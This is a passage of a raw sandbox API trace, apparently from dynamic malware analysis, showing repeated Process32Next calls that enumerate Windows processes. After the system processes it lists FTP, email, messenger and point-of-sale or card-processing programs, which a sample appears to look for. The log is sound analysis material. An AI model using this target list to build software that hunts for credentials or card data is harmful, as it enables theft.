lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x79, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0220.804] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0220.806] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0220.808] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x16c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0220.810] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0220.812] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1b4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0220.814] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0220.816] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1bc, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0220.817] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x270, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2e, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0220.819] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0220.821] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x330, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0220.823] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x49, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0220.825] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x364, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0220.826] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x394, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0220.828] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0220.831] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0220.833] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x14c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0220.834] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0220.836] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0220.838] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0220.840] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x35, th32ParentProcessID=0x604, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0220.841] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x658, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0220.843] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x664, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0220.845] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0220.847] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SkypeHost.exe")) returned 1 [0220.849] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x8f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0220.852] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x9a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0220.854] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0220.856] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0220.858] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0220.860] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0220.862] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0220.891] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x224, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x270, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0220.893] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0220.895] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x79c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="teammaintain.exe")) returned 1 [0220.896] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cover_more.exe")) returned 1 [0220.898] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x798, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="along.exe")) returned 1 [0220.900] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="another artist.exe")) returned 1 [0220.901] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x5d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="second-position-home.exe")) returned 1 [0220.904] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbb8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="high.exe")) returned 1 [0220.906] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="he mention news.exe")) returned 1 [0220.908] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="cup.exe")) returned 1 [0220.909] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe60, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="strategy player owner.exe")) returned 1 [0220.911] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="now third.exe")) returned 1 [0220.913] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x940, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="safe.exe")) returned 1 [0220.914] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="lossnecessary.exe")) returned 1 [0220.916] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="agent.exe")) returned 1 [0220.918] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk.exe")) returned 1 [0220.920] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="upguess.exe")) returned 1 [0220.922] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0220.924] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0220.926] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0220.927] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x808, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0220.929] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x230, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0220.931] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x930, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0220.932] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0220.934] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x6f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0220.937] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0220.940] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0220.942] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x2f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0220.944] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0220.947] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1010, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0220.949] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0220.952] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1028, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0220.954] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0220.956] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0220.959] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1044, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0220.961] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1054, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0220.963] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x105c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0220.965] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1070, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0220.967] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1078, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0220.969] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1088, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0220.971] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1090, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0220.973] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x109c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0220.975] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0220.977] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0220.980] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0220.982] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0220.983] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0220.985] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0220.987] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0220.990] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1100, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0220.991] Process32Next (in: hSnapshot=0x11c8, lppe=0xfdcfe20 | out: lppe=0xfdcfe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x618, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 